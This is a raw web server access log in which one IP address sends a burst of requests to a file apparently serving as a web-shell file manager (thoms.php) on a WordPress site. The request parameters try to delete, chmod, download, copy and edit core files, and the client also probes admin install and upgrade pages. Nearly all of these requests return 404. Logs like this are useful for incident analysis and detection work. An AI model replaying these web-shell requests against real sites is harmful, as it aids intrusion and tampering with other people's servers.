45.135.193.11 - - [11/Sep/2026:23:59:58 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?del=rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fscript-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fscript-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?dl=view-config.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-config.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?dl=spl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=spl-autoload-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?del=block-bindings&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-bindings&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsitemaps&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fsitemaps&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-term.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?chmod=global-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=global-styles-and-settings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?chmod=shortcodes.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?del=class-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?dl=class-avif-info.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-avif-info.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-customize-widgets.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:59 -0400] "GET /thoms.php?chmod=https-detection.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?del=ms-blogs.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-blogs.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?chmod=cache.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?del=kses.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=kses.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?chmod=block-bindings&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?chmod=class-walker-page.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?del=class-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-ajax-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?dl=class-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:00 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-term-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?del=ms-default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?chmod=class-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-page-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-error.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?chmod=class-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-styles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?chmod=feed-rss.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?chmod=cache-compat.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?edit=xmlrpc.php&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?edit=xmlrpc.php&env=ace&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=xmlrpc.php&env=ace&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /bfl.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/bfl.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /bfl.com.tw/.well-known/ HTTP/1.1" 200 774 "https://163.245.207.76:443/bfl.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?del=acme-challenge&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /thoms.php?chmod=acme-challenge&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:01 -0400] "GET /bfl.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /bfl.com.tw/wp-admin/upgrade.php HTTP/1.1" 200 572 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /bfl.com.tw/wp-admin/install.php HTTP/1.1" 200 596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /bfl.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:02 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-signup.php&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-signup.php&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?chmod=languages&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=languages&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?chmod=index.php&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:00:03 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-content&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
